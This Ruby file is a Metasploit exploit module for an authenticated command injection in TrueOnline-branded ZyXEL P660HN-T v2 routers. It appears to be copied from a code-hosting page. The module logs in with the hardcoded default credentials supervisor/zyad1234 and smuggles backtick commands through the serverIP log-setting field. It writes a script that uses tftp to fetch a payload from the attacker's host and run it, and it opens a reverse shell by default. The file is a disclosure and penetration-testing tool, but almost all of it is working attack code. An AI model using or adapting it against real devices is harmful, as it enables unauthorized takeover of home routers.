190 lines
6.4 KiB
Ruby
190 lines
6.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection',
|
|
'Description' => %q{
|
|
TrueOnline is a major ISP in Thailand, and it distributes a customized version of
|
|
the ZyXEL P660HN-T v2 router. This customized version has an authenticated command injection
|
|
vulnerability in the remote log forwarding page. This can be exploited using the "supervisor"
|
|
account that comes with a default password on the device.
|
|
This module was tested in an emulated environment, as the author doesn't have access to the
|
|
Thai router any more. Any feedback should be sent directly to the module's author, as well as
|
|
to the Metasploit project. Note that the inline payloads work best.
|
|
There are Turkish and other language strings in the firmware, so it is likely that this
|
|
firmware is not only distributed in Thailand. Other P660HN-T v2 in other countries might be
|
|
vulnerable too.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'References' =>
|
|
[
|
|
['URL', 'http://seclists.org/fulldisclosure/2017/Jan/40'],
|
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'],
|
|
['URL', 'https://blogs.securiteam.com/index.php/archives/2910']
|
|
],
|
|
'Targets' =>
|
|
[
|
|
[ 'P660HN-T v2', {}],
|
|
],
|
|
'Privileged' => true,
|
|
'Arch' => ARCH_MIPSBE,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp' },
|
|
'DisclosureDate' => 'Dec 26 2016',
|
|
'DefaultTarget' => 0))
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('USERNAME', [true, 'Username for the web interface (using default credentials)', 'supervisor']),
|
|
OptString.new('PASSWORD', [true, 'Password for the web interface (using default credentials)', 'zyad1234']),
|
|
OptAddressLocal.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]),
|
|
OptInt.new('DELAY', [true, "How long to wait for the device to download the payload", 30]),
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi!({
|
|
'uri' => '/js/Multi_Language.js',
|
|
'method' => 'GET'
|
|
})
|
|
if res && res.body =~ /P-660HN-T1A_IPv6/
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
end
|
|
|
|
def send_cmd(cmd)
|
|
res = send_request_cgi({
|
|
'uri' => '/cgi-bin/pages/maintenance/logSetting/logSet.asp',
|
|
'method' => 'POST',
|
|
'cookie' => "SESSIONID=#{@cookie}",
|
|
'vars_post' => {
|
|
'logSetting_H' => '1',
|
|
'active' => '1',
|
|
'logMode' => 'LocalAndRemote',
|
|
'serverPort' => rand_text_numeric(3),
|
|
# we have a short space for the payload - only 28 chars!
|
|
'serverIP' => "1.1.1.1`#{cmd}`&#",
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
|
|
def exploit
|
|
# first we authenticate
|
|
@cookie = rand_text_alpha_lower(7)
|
|
|
|
res = send_request_cgi({
|
|
'uri' => '/cgi-bin/index.asp',
|
|
'query' => Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"),
|
|
'method' => 'POST',
|
|
'cookie' => "SESSIONID=#{@cookie}",
|
|
'vars_post' => {
|
|
'Loginuser' => 'supervisor',
|
|
'Prestige_Login' => 'Login'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200
|
|
print_good("#{peer} - Successfully authenticated to the web interface.")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate to the web interface.")
|
|
end
|
|
|
|
#this filename is used to store the payload on the device -> the fewer chars the better!
|
|
filename = rand_text_alpha_lower(5)
|
|
|
|
# while echo'ing the payload, we can only send 10 chars at a time (see advisory for details)
|
|
exec_file = '/tmp/' + rand_text_alpha_lower(1)
|
|
script_file = %{#!/bin/sh
|
|
cd /tmp;tftp -g -r #{filename} #{datastore['LHOST']};chmod +x /tmp/#{filename};sleep 5;/tmp/#{filename} &}
|
|
|
|
counter = 10
|
|
res = send_cmd("echo -n \"#{script_file[0..counter]}\">#{exec_file}")
|
|
if not res
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to inject payload.")
|
|
end
|
|
|
|
while counter+1 < script_file.length
|
|
if (counter + 10) > script_file.length
|
|
ending = script_file.length - 1
|
|
else
|
|
ending = counter + 10
|
|
end
|
|
|
|
print_good("#{peer} - Successfully injected part of the payload, waiting 5 seconds before proceeding.")
|
|
sleep 5
|
|
|
|
send_cmd("echo -n \"#{script_file[counter+1..ending]}\">>#{exec_file}")
|
|
if not res
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to inject payload.")
|
|
end
|
|
|
|
counter += (ending - counter)
|
|
end
|
|
|
|
print_good("#{peer} - Injection finished!")
|
|
@pl = generate_payload_exe
|
|
|
|
#
|
|
# start our server
|
|
#
|
|
print_status("#{peer} - Starting up our TFTP service")
|
|
@tftp = Rex::Proto::TFTP::Server.new
|
|
@tftp.register_file(filename,@pl,true)
|
|
@tftp.start
|
|
|
|
#
|
|
# download payload
|
|
#
|
|
print_status("#{peer} - Asking the device to download and execute the payload")
|
|
|
|
# these two commands have to be 15 chars or less!
|
|
send_cmd("chmod +x #{exec_file}")
|
|
send_cmd("#{exec_file} &")
|
|
|
|
# wait for payload download
|
|
wait_linux_payload
|
|
@tftp.stop
|
|
register_file_for_cleanup("/tmp/#{filename}")
|
|
register_file_for_cleanup("#{exec_file}")
|
|
sleep 10
|
|
handler
|
|
end
|
|
|
|
def wait_linux_payload
|
|
print_status("#{peer} - Waiting for the victim to request the ELF payload...")
|
|
waited = 0
|
|
while (not @tftp.files.length == 0)
|
|
select(nil, nil, nil, 1)
|
|
waited += 1
|
|
if (waited > datastore['DELAY'])
|
|
@tftp.stop
|
|
fail_with(Failure::Unknown, "#{peer} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
|
end
|
|
end
|
|
print_good("#{peer} - Payload was downloaded, wait for shell!")
|
|
end
|
|
end
|